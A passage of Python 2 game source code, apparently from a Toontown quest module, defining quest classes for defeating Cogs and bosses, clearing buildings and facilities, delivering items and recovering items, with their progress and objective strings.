SkelecogLevelQuest(CogLevelQuest, SkelecogQBase): def __init__(self, id, quest): CogLevelQuest.__init__(self, id, quest) self.checkNumSkelecogs(self.quest[1]) self.checkSkelecogLevel(self.quest[2]) def getCogType(self): return Any def getCogNameString(self): return SkelecogQBase.getCogNameString(self) def doesCogCount(self, avId, cogDict, zoneId, avList): return SkelecogQBase.doesCogCount(self, avId, cogDict, zoneId, avList) and self.getCogLevel() <= cogDict['level'] class SkeleReviveQBase: def getCogNameString(self): numCogs = self.getNumCogs() if numCogs == 1: return TTLocalizer.Av2Cog else: return TTLocalizer.v2CogP def doesCogCount(self, avId, cogDict, zoneId, avList): return cogDict.get('hasRevives', False) and avId in cogDict.get('activeToons', []) and self.isLocationMatch(zoneId) class SkeleReviveQuest(CogQuest, SkeleReviveQBase): def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumSkeleRevives(self.quest[1]) def getCogType(self): return Any def getCogNameString(self): return SkeleReviveQBase.getCogNameString(self) def doesCogCount(self, avId, cogDict, zoneId, avList): return SkeleReviveQBase.doesCogCount(self, avId, cogDict, zoneId, avList) class ForemanQuest(CogQuest): def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumForemen(self.quest[1]) def getCogType(self): return Any def getCogNameString(self): numCogs = self.getNumCogs() if numCogs == 1: return TTLocalizer.AForeman else: return TTLocalizer.ForemanP def doesCogCount(self, avId, cogDict, zoneId, avList): return bool(CogQuest.doesCogCount(self, avId, cogDict, zoneId, avList) and cogDict['isForeman']) class ForemanNewbieQuest(ForemanQuest, NewbieQuest): def __init__(self, id, quest): ForemanQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def doesCogCount(self, avId, cogDict, zoneId, avList): if ForemanQuest.doesCogCount(self, avId, cogDict, zoneId, avList): return self.getNumNewbies(avId, avList) else: return 0 class VPQuest(CogQuest): def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumVPs(self.quest[1]) def getCogType(self): return Any def getCogNameString(self): numCogs = self.getNumCogs() if numCogs == 1: return TTLocalizer.ACogVP else: return TTLocalizer.CogVPs def doesCogCount(self, avId, cogDict, zoneId, avList): return cogDict['isBoss'] > 0 and self.isLocationMatch(zoneId) def doesVPCount(self, avId, cogDict, zoneId, avList): return self.doesCogCount(avId, cogDict, zoneId, avList) class VPNewbieQuest(VPQuest, NewbieQuest): def __init__(self, id, quest): VPQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def doesVPCount(self, avId, cogDict, zoneId, avList): if VPQuest.doesVPCount(self, avId, cogDict, zoneId, avList): return self.getNumNewbies(avId, avList) else: return 0 class SupervisorQuest(CogQuest): def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumSupervisors(self.quest[1]) def getCogType(self): return Any def getCogNameString(self): numCogs = self.getNumCogs() if numCogs == 1: return TTLocalizer.ASupervisor else: return TTLocalizer.SupervisorP def doesCogCount(self, avId, cogDict, zoneId, avList): return bool(CogQuest.doesCogCount(self, avId, cogDict, zoneId, avList) and cogDict['isSupervisor']) class SupervisorNewbieQuest(SupervisorQuest, NewbieQuest): def __init__(self, id, quest): SupervisorQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def doesCogCount(self, avId, cogDict, zoneId, avList): if SupervisorQuest.doesCogCount(self, avId, cogDict, zoneId, avList): return self.getNumNewbies(avId, avList) else: return 0 class CFOQuest(CogQuest): def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumCFOs(self.quest[1]) def getCogType(self): return Any def getCogNameString(self): numCogs = self.getNumCogs() if numCogs == 1: return TTLocalizer.ACogCFO else: return TTLocalizer.CogCFOs def doesCogCount(self, avId, cogDict, zoneId, avList): return cogDict['isBoss'] > 0 and self.isLocationMatch(zoneId) def doesCFOCount(self, avId, cogDict, zoneId, avList): return self.doesCogCount(avId, cogDict, zoneId, avList) class CFONewbieQuest(CFOQuest, NewbieQuest): def __init__(self, id, quest): CFOQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def doesCFOCount(self, avId, cogDict, zoneId, avList): if CFOQuest.doesCFOCount(self, avId, cogDict, zoneId, avList): return self.getNumNewbies(avId, avList) else: return 0 class CJQuest(CogQuest): def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumCJs(self.quest[1]) def getCogType(self): return Any def getCogNameString(self): numCogs = self.getNumCogs() if numCogs == 1: return TTLocalizer.ACogCJ else: return TTLocalizer.CogCJs def doesCogCount(self, avId, cogDict, zoneId, avList): return cogDict['isBoss'] > 0 and self.isLocationMatch(zoneId) def doesCJCount(self, avId, cogDict, zoneId, avList): return self.doesCogCount(avId, cogDict, zoneId, avList) class CJNewbieQuest(CJQuest, NewbieQuest): def __init__(self, id, quest): CJQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def doesCJCount(self, avId, cogDict, zoneId, avList): if CJQuest.doesCJCount(self, avId, cogDict, zoneId, avList): return self.getNumNewbies(avId, avList) else: return 0 class CEOQuest(CogQuest): def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumCEOs(self.quest[1]) def getCogType(self): return Any def getCogNameString(self): numCogs = self.getNumCogs() if numCogs == 1: return TTLocalizer.ACogCEO else: return TTLocalizer.CogCEOs def doesCogCount(self, avId, cogDict, zoneId, avList): return cogDict['isBoss'] > 0 and self.isLocationMatch(zoneId) def doesCEOCount(self, avId, cogDict, zoneId, avList): return self.doesCogCount(avId, cogDict, zoneId, avList) class CEONewbieQuest(CEOQuest, NewbieQuest): def __init__(self, id, quest): CEOQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def doesCEOCount(self, avId, cogDict, zoneId, avList): if CEOQuest.doesCEOCount(self, avId, cogDict, zoneId, avList): return self.getNumNewbies(avId, avList) else: return 0 class RescueQuest(VPQuest): def __init__(self, id, quest): VPQuest.__init__(self, id, quest) def getNumToons(self): return self.getNumCogs() def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumToons() == 1: return '' else: return TTLocalizer.QuestsRescueQuestProgress % {'progress': questDesc[4], 'numToons': self.getNumToons()} def getObjectiveStrings(self): numToons = self.getNumCogs() if numToons == 1: text = TTLocalizer.QuestsRescueQuestToonS else: text = TTLocalizer.QuestsRescueQuestRescueDesc % {'numToons': numToons} return (text,) def getString(self): return TTLocalizer.QuestsRescueQuestRescue % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumToons(): return getFinishToonTaskSCStrings(toNpcId) numToons = self.getNumToons() if numToons == 1: text = TTLocalizer.QuestsRescueQuestSCStringS else: text = TTLocalizer.QuestsRescueQuestSCStringP toonLoc = self.getLocationName() return text % {'toonLoc': toonLoc} def getHeadlineString(self): return TTLocalizer.QuestsRescueQuestHeadline class RescueNewbieQuest(RescueQuest, NewbieQuest): def __init__(self, id, quest): RescueQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self, newStr=TTLocalizer.QuestsRescueNewNewbieQuestObjective, oldStr=TTLocalizer.QuestsRescueOldNewbieQuestObjective) def doesVPCount(self, avId, cogDict, zoneId, avList): if RescueQuest.doesVPCount(self, avId, cogDict, zoneId, avList): return self.getNumNewbies(avId, avList) else: return 0 class BuildingQuest(CogQuest): trackCodes = ['c', 'l', 'm', 's', 'g'] trackNames = [TTLocalizer.Bossbot, TTLocalizer.Lawbot, TTLocalizer.Cashbot, TTLocalizer.Sellbot, TTLocalizer.Boardbot] def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumBuildings(self.quest[1]) self.checkBuildingTrack(self.quest[2]) self.checkBuildingFloors(self.quest[3]) def getNumFloors(self): return self.quest[3] def getBuildingTrack(self): return self.quest[2] def getNumQuestItems(self): return self.getNumBuildings() def getNumBuildings(self): return self.quest[1] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= self.getNumBuildings() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumBuildings() == 1: return '' else: return TTLocalizer.QuestsBuildingQuestProgressString % {'progress': questDesc[4], 'num': self.getNumBuildings()} def getObjectiveStrings(self): count = self.getNumBuildings() floors = TTLocalizer.QuestsBuildingQuestFloorNumbers[self.getNumFloors() - 1] buildingTrack = self.getBuildingTrack() if buildingTrack == Any: type = TTLocalizer.Cog else: type = self.trackNames[self.trackCodes.index(buildingTrack)] if count == 1: if floors == '': text = TTLocalizer.QuestsBuildingQuestDesc else: text = TTLocalizer.QuestsBuildingQuestDescF elif floors == '': text = TTLocalizer.QuestsBuildingQuestDescC else: text = TTLocalizer.QuestsBuildingQuestDescCF return (text % {'count': count, 'floors': floors, 'type': type},) def getString(self): return TTLocalizer.QuestsBuildingQuestString % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumBuildings(): return getFinishToonTaskSCStrings(toNpcId) count = self.getNumBuildings() floors = TTLocalizer.QuestsBuildingQuestFloorNumbers[self.getNumFloors() - 1] buildingTrack = self.getBuildingTrack() if buildingTrack == Any: type = TTLocalizer.Cog else: type = self.trackNames[self.trackCodes.index(buildingTrack)] if count == 1: if floors == '': text = TTLocalizer.QuestsBuildingQuestDesc else: text = TTLocalizer.QuestsBuildingQuestDescF elif floors == '': text = TTLocalizer.QuestsBuildingQuestDescI else: text = TTLocalizer.QuestsBuildingQuestDescIF objective = text % {'floors': floors, 'type': type} location = self.getLocationName() return TTLocalizer.QuestsBuildingQuestSCString % {'objective': objective, 'location': location} def getHeadlineString(self): return TTLocalizer.QuestsBuildingQuestHeadline def doesCogCount(self, avId, cogDict, zoneId, avList): return 0 def doesBuildingTypeCount(self, type): buildingTrack = self.getBuildingTrack() if buildingTrack == Any or buildingTrack == type: return True return False def doesBuildingCount(self, avId, avList): return 1 class BuildingNewbieQuest(BuildingQuest, NewbieQuest): def __init__(self, id, quest): BuildingQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[4]) def getNewbieLevel(self): return self.quest[4] def getString(self): return NewbieQuest.getString(self) def getHeadlineString(self): return TTLocalizer.QuestsNewbieQuestHeadline def doesBuildingCount(self, avId, avList): return self.getNumNewbies(avId, avList) class CogdoQuest(CogQuest): trackCodes = ['c', 'l', 'm', 's', 'g'] trackNames = [TTLocalizer.Bossbot, TTLocalizer.Lawbot, TTLocalizer.Cashbot, TTLocalizer.Sellbot, TTLocalizer.Boardbot] def __init__(self, id, quest): CogQuest.__init__(self, id, quest) self.checkNumCogdos(self.quest[1]) self.checkCogdoTrack(self.quest[2]) def getCogdoTrack(self): return self.quest[2] def getNumQuestItems(self): return self.getNumCogdos() def getNumCogdos(self): return self.quest[1] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= self.getNumCogdos() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumCogdos() == 1: return '' else: return TTLocalizer.QuestsCogdoQuestProgressString % {'progress': questDesc[4], 'num': self.getNumCogdos()} def getObjectiveStrings(self): count = self.getNumCogdos() buildingTrack = self.getCogdoTrack() if buildingTrack == Any: type = TTLocalizer.Cog else: type = self.trackNames[self.trackCodes.index(buildingTrack)] if count == 1: text = TTLocalizer.QuestsCogdoQuestDesc else: text = TTLocalizer.QuestsCogdoQuestDescC return (text % {'count': count, 'type': type},) def getString(self): return TTLocalizer.QuestsCogdoQuestString % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumCogdos(): return getFinishToonTaskSCStrings(toNpcId) count = self.getNumCogdos() buildingTrack = self.getCogdoTrack() if buildingTrack == Any: type = TTLocalizer.Cog else: type = self.trackNames[self.trackCodes.index(buildingTrack)] if count == 1: text = TTLocalizer.QuestsCogdoQuestDesc else: text = TTLocalizer.QuestsCogdoQuestDescI objective = text % {'type': type,} location = self.getLocationName() return TTLocalizer.QuestsCogdoQuestSCString % {'objective': objective, 'location': location} def getHeadlineString(self): return TTLocalizer.QuestsCogdoQuestHeadline def doesCogCount(self, avId, cogDict, zoneId, avList): return 0 def doesCogdoCount(self, avId, avList): return 1 def doesCogdoTypeCount(self, type): CogdoTrack = self.getCogdoTrack() if CogdoTrack == Any or CogdoTrack == type: return True return False class CogdoNewbieQuest(CogdoQuest, NewbieQuest): def __init__(self, id, quest): CogdoQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[3]) def getNewbieLevel(self): return self.quest[3] def getString(self): return NewbieQuest.getString(self) def getHeadlineString(self): return TTLocalizer.QuestsNewbieQuestHeadline def doesCogdoCount(self, avId, avList): return self.getNumNewbies(avId, avList) class FactoryQuest(LocationBasedQuest): factoryTypeNames = {FT_FullSuit: TTLocalizer.Cog, FT_Leg: TTLocalizer.FactoryTypeLeg, FT_Arm: TTLocalizer.FactoryTypeArm, FT_Torso: TTLocalizer.FactoryTypeTorso} def __init__(self, id, quest): LocationBasedQuest.__init__(self, id, quest) self.checkNumFactories(self.quest[1]) def getNumQuestItems(self): return self.getNumFactories() def getNumFactories(self): return self.quest[1] def getFactoryType(self): loc = self.getLocation() type = Any if loc in ToontownGlobals.factoryId2factoryType: type = ToontownGlobals.factoryId2factoryType[loc] return type def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= self.getNumFactories() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumFactories() == 1: return '' else: return TTLocalizer.QuestsFactoryQuestProgressString % {'progress': questDesc[4], 'num': self.getNumFactories()} def getObjectiveStrings(self): count = self.getNumFactories() factoryType = self.getFactoryType() if factoryType == Any: type = TTLocalizer.Cog else: type = FactoryQuest.factoryTypeNames[factoryType] if count == 1: text = TTLocalizer.QuestsFactoryQuestDesc else: text = TTLocalizer.QuestsFactoryQuestDescC return (text % {'count': count, 'type': type},) def getString(self): return TTLocalizer.QuestsFactoryQuestString % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumFactories(): return getFinishToonTaskSCStrings(toNpcId) factoryType = self.getFactoryType() if factoryType == Any: type = TTLocalizer.Cog else: type = FactoryQuest.factoryTypeNames[factoryType] count = self.getNumFactories() if count == 1: text = TTLocalizer.QuestsFactoryQuestDesc else: text = TTLocalizer.QuestsFactoryQuestDescI objective = text % {'type': type} location = self.getLocationName() return TTLocalizer.QuestsFactoryQuestSCString % {'objective': objective, 'location': location} def getHeadlineString(self): return TTLocalizer.QuestsFactoryQuestHeadline def doesFactoryCount(self, avId, location, avList): return self.isLocationMatch(location) class FactoryNewbieQuest(FactoryQuest, NewbieQuest): def __init__(self, id, quest): FactoryQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def getHeadlineString(self): return TTLocalizer.QuestsNewbieQuestHeadline def doesFactoryCount(self, avId, location, avList): if FactoryQuest.doesFactoryCount(self, avId, location, avList): return self.getNumNewbies(avId, avList) else: return num class MintQuest(LocationBasedQuest): def __init__(self, id, quest): LocationBasedQuest.__init__(self, id, quest) self.checkNumMints(self.quest[1]) def getNumQuestItems(self): return self.getNumMints() def getNumMints(self): return self.quest[1] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= self.getNumMints() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumMints() == 1: return '' else: return TTLocalizer.QuestsMintQuestProgressString % {'progress': questDesc[4], 'num': self.getNumMints()} def getObjectiveStrings(self): count = self.getNumMints() if count == 1: text = TTLocalizer.QuestsMintQuestDesc else: text = TTLocalizer.QuestsMintQuestDescC % {'count': count} return (text,) def getString(self): return TTLocalizer.QuestsMintQuestString % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumMints(): return getFinishToonTaskSCStrings(toNpcId) count = self.getNumMints() if count == 1: objective = TTLocalizer.QuestsMintQuestDesc else: objective = TTLocalizer.QuestsMintQuestDescI location = self.getLocationName() return TTLocalizer.QuestsMintQuestSCString % {'objective': objective, 'location': location} def getHeadlineString(self): return TTLocalizer.QuestsMintQuestHeadline def doesMintCount(self, avId, location, avList): return self.isLocationMatch(location) class MintNewbieQuest(MintQuest, NewbieQuest): def __init__(self, id, quest): MintQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def getHeadlineString(self): return TTLocalizer.QuestsNewbieQuestHeadline def doesMintCount(self, avId, location, avList): if MintQuest.doesMintCount(self, avId, location, avList): return self.getNumNewbies(avId, avList) else: return num class StageQuest(LocationBasedQuest): def __init__(self, id, quest): LocationBasedQuest.__init__(self, id, quest) self.checkNumStages(self.quest[1]) def getNumQuestItems(self): return self.getNumStages() def getNumStages(self): return self.quest[1] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= self.getNumStages() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumStages() == 1: return '' else: return TTLocalizer.QuestsStageQuestProgressString % {'progress': questDesc[4], 'num': self.getNumStages()} def getObjectiveStrings(self): count = self.getNumStages() if count == 1: text = TTLocalizer.QuestsStageQuestDesc else: text = TTLocalizer.QuestsStageQuestDescC % {'count': count} return (text,) def getString(self): return TTLocalizer.QuestsStageQuestString % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumStages(): return getFinishToonTaskSCStrings(toNpcId) count = self.getNumStages() if count == 1: objective = TTLocalizer.QuestsStageQuestDesc else: objective = TTLocalizer.QuestsStageQuestDescI location = self.getLocationName() return TTLocalizer.QuestsStageQuestSCString % {'objective': objective, 'location': location} def getHeadlineString(self): return TTLocalizer.QuestsStageQuestHeadline def doesStageCount(self, avId, location, avList): return self.isLocationMatch(location) class StageNewbieQuest(StageQuest, NewbieQuest): def __init__(self, id, quest): StageQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def getHeadlineString(self): return TTLocalizer.QuestsNewbieQuestHeadline def doesStageCount(self, avId, location, avList): if StageQuest.doesStageCount(self, avId, location, avList): return self.getNumNewbies(avId, avList) else: return num class ClubQuest(LocationBasedQuest): def __init__(self, id, quest): LocationBasedQuest.__init__(self, id, quest) self.checkNumClubs(self.quest[1]) def getNumQuestItems(self): return self.getNumClubs() def getNumClubs(self): return self.quest[1] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= self.getNumClubs() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumClubs() == 1: return '' else: return TTLocalizer.QuestsClubQuestProgressString % {'progress': questDesc[4], 'num': self.getNumClubs()} def getObjectiveStrings(self): count = self.getNumClubs() if count == 1: text = TTLocalizer.QuestsClubQuestDesc else: text = TTLocalizer.QuestsClubQuestDescC % {'count': count} return (text,) def getString(self): return TTLocalizer.QuestsClubQuestString % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumClubs(): return getFinishToonTaskSCStrings(toNpcId) count = self.getNumClubs() if count == 1: objective = TTLocalizer.QuestsClubQuestDesc else: objective = TTLocalizer.QuestsClubQuestDescI location = self.getLocationName() return TTLocalizer.QuestsClubQuestSCString % {'objective': objective, 'location': location} def getHeadlineString(self): return TTLocalizer.QuestsClubQuestHeadline def doesClubCount(self, avId, location, avList): return self.isLocationMatch(location) class ClubNewbieQuest(ClubQuest, NewbieQuest): def __init__(self, id, quest): ClubQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self) def getHeadlineString(self): return TTLocalizer.QuestsNewbieQuestHeadline def doesClubCount(self, avId, location, avList): if ClubQuest.doesClubCount(self, avId, location, avList): return self.getNumNewbies(avId, avList) else: return num class CogPartQuest(LocationBasedQuest): def __init__(self, id, quest): LocationBasedQuest.__init__(self, id, quest) self.checkNumCogParts(self.quest[1]) def getNumQuestItems(self): return self.getNumParts() def getNumParts(self): return self.quest[1] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= self.getNumParts() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumParts() == 1: return '' else: return TTLocalizer.QuestsCogPartQuestProgressString % {'progress': questDesc[4], 'num': self.getNumParts()} def getObjectiveStrings(self): count = self.getNumParts() if count == 1: text = TTLocalizer.QuestsCogPartQuestDesc else: text = TTLocalizer.QuestsCogPartQuestDescC return (text % {'count': count},) def getString(self): return TTLocalizer.QuestsCogPartQuestString % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): if progress >= self.getNumParts(): return getFinishToonTaskSCStrings(toNpcId) count = self.getNumParts() if count == 1: text = TTLocalizer.QuestsCogPartQuestDesc else: text = TTLocalizer.QuestsCogPartQuestDescI objective = text location = self.getLocationName() return TTLocalizer.QuestsCogPartQuestSCString % {'objective': objective, 'location': location} def getHeadlineString(self): return TTLocalizer.QuestsCogPartQuestHeadline def doesCogPartCount(self, avId, location, avList): return self.isLocationMatch(location) class CogPartNewbieQuest(CogPartQuest, NewbieQuest): def __init__(self, id, quest): CogPartQuest.__init__(self, id, quest) self.checkNewbieLevel(self.quest[2]) def getNewbieLevel(self): return self.quest[2] def getString(self): return NewbieQuest.getString(self, newStr=TTLocalizer.QuestsCogPartNewNewbieQuestObjective, oldStr=TTLocalizer.QuestsCogPartOldNewbieQuestObjective) def getHeadlineString(self): return TTLocalizer.QuestsNewbieQuestHeadline def doesCogPartCount(self, avId, location, avList): if CogPartQuest.doesCogPartCount(self, avId, location, avList): return self.getNumNewbies(avId, avList) else: return num class DeliverGagQuest(Quest): def __init__(self, id, quest): Quest.__init__(self, id, quest) self.checkNumGags(self.quest[0]) self.checkGagTrack(self.quest[1]) self.checkGagItem(self.quest[2]) def getGagType(self): return (self.quest[1], self.quest[2]) def getNumQuestItems(self): return self.getNumGags() def getNumGags(self): return self.quest[0] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc gag = self.getGagType() num = self.getNumGags() track = gag[0] level = gag[1] questComplete = npc and av.inventory and av.inventory.numItem(track, level) >= num return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumGags() == 1: return '' else: return TTLocalizer.QuestsDeliverGagQuestProgress % {'progress': questDesc[4], 'numGags': self.getNumGags()} def getObjectiveStrings(self): track, item = self.getGagType() num = self.getNumGags() if num == 1: text = ToontownBattleGlobals.AvPropStringsSingular[track][item] else: gagName = ToontownBattleGlobals.AvPropStringsPlural[track][item] text = TTLocalizer.QuestsItemNameAndNum % {'num': TTLocalizer.getLocalNum(num), 'name': gagName} return (text,) def getString(self): return TTLocalizer.QuestsDeliverGagQuestString % self.getObjectiveStrings()[0] def getRewardString(self, progress): return TTLocalizer.QuestsDeliverGagQuestStringLong % self.getObjectiveStrings()[0] def getDefaultQuestDialog(self): return TTLocalizer.QuestsDeliverGagQuestStringLong % self.getObjectiveStrings()[0] + '\x07' + TTLocalizer.QuestsDeliverGagQuestInstructions def getSCStrings(self, toNpcId, progress): if progress >= self.getNumGags(): return getFinishToonTaskSCStrings(toNpcId) track, item = self.getGagType() num = self.getNumGags() if num == 1: text = TTLocalizer.QuestsDeliverGagQuestToSCStringS gagName = ToontownBattleGlobals.AvPropStringsSingular[track][item] else: text = TTLocalizer.QuestsDeliverGagQuestToSCStringP gagName = ToontownBattleGlobals.AvPropStringsPlural[track][item] return [text % {'gagName': gagName}, TTLocalizer.QuestsDeliverGagQuestSCString] + getVisitSCStrings(toNpcId) def getHeadlineString(self): return TTLocalizer.QuestsDeliverGagQuestHeadline class DeliverItemQuest(Quest): def __init__(self, id, quest): Quest.__init__(self, id, quest) self.checkDeliveryItem(self.quest[0]) def getItem(self): return self.quest[0] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc if npc and npcMatches(toNpcId, npc): return COMPLETE else: return INCOMPLETE_WRONG_NPC def getProgressString(self, avatar, questDesc): return TTLocalizer.QuestsDeliverItemQuestProgress def getObjectiveStrings(self): iDict = ItemDict[self.getItem()] article = iDict[2] itemName = iDict[0] return [article + itemName] def getString(self): return TTLocalizer.QuestsDeliverItemQuestString % self.getObjectiveStrings()[0] def getRewardString(self, progress): return TTLocalizer.QuestsDeliverItemQuestStringLong % self.getObjectiveStrings()[0] def getDefaultQuestDialog(self): return TTLocalizer.QuestsDeliverItemQuestStringLong % self.getObjectiveStrings()[0] def getSCStrings(self, toNpcId, progress): iDict = ItemDict[self.getItem()] article = iDict[2] itemName = iDict[0] return [TTLocalizer.QuestsDeliverItemQuestSCString % {'article': article, 'itemName': itemName}] + getVisitSCStrings(toNpcId) def getHeadlineString(self): return TTLocalizer.QuestsDeliverItemQuestHeadline class VisitQuest(Quest): def __init__(self, id, quest): Quest.__init__(self, id, quest) def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc if npc and npcMatches(toNpcId, npc): return COMPLETE else: return INCOMPLETE_WRONG_NPC def getProgressString(self, avatar, questDesc): return TTLocalizer.QuestsVisitQuestProgress def getObjectiveStrings(self): return [''] def getString(self): return TTLocalizer.QuestsVisitQuestStringShort def getChooseString(self): return TTLocalizer.QuestsVisitQuestStringLong def getRewardString(self, progress): return TTLocalizer.QuestsVisitQuestStringLong def getDefaultQuestDialog(self): return random.choice(DefaultVisitQuestDialog) def getSCStrings(self, toNpcId, progress): return getVisitSCStrings(toNpcId) def getHeadlineString(self): return TTLocalizer.QuestsVisitQuestHeadline class RecoverItemQuest(LocationBasedQuest): def __init__(self, id, quest): LocationBasedQuest.__init__(self, id, quest) self.checkNumItems(self.quest[1]) self.checkRecoveryItem(self.quest[2]) self.checkPercentChance(self.quest[3]) if len(self.quest) > 5: self.checkRecoveryItemHolderAndType(self.quest[4], self.quest[5]) else: self.checkRecoveryItemHolderAndType(self.quest[4]) def testRecover(self, progress): test = random.random() * 100 chance = self.getPercentChance() numberDone = progress & pow(2, 16) - 1 numberNotDone = progress >> 16 returnTest = None avgNum2Kill = 1.0 / (chance / 100.0) if numberNotDone >= avgNum2Kill * 1.5: chance = 100 elif numberNotDone > avgNum2Kill * 0.5: diff = float(numberNotDone - avgNum2Kill * 0.5) luck = 1.0 + abs(diff / (avgNum2Kill * 0.5)) chance *= luck if test <= chance: returnTest = 1 numberNotDone = 0 numberDone += 1 else: returnTest = 0 numberNotDone += 1 numberDone += 0 returnCount = numberNotDone << 16 returnCount += numberDone return (returnTest, returnCount) def testDone(self, progress): numberDone = progress & pow(2, 16) - 1 print 'Quest number done %s' % numberDone if numberDone >= self.getNumItems(): return 1 else: return 0 def getNumQuestItems(self): return self.getNumItems() def getNumItems(self): return self.quest[1] def getItem(self): return self.quest[2] def getPercentChance(self): return self.quest[3] def getHolder(self): return self.quest[4] def getHolderType(self): if len(self.quest) == 5: return 'type' else: return self.quest[5] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc forwardProgress = toonProgress & pow(2, 16) - 1 questComplete = forwardProgress >= self.getNumItems() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumItems() == 1: return '' else: progress = questDesc[4] & pow(2, 16) - 1 return TTLocalizer.QuestsRecoverItemQuestProgress % {'progress': progress, 'numItems': self.getNumItems()} def getObjectiveStrings(self): holder = self.getHolder() holderType = self.getHolderType() if holder == Any: holderName = TTLocalizer.TheCogs elif holder == AnyFish: holderName = TTLocalizer.AFish elif holderType == 'type': holderName = SuitBattleGlobals.SuitAttributes[holder]['pluralname'] elif holderType == 'level': holderName = TTLocalizer.QuestsRecoverItemQuestHolderString % {'level': TTLocalizer.Level, 'holder': holder, 'cogs': TTLocalizer.Cogs} elif holderType == 'track': 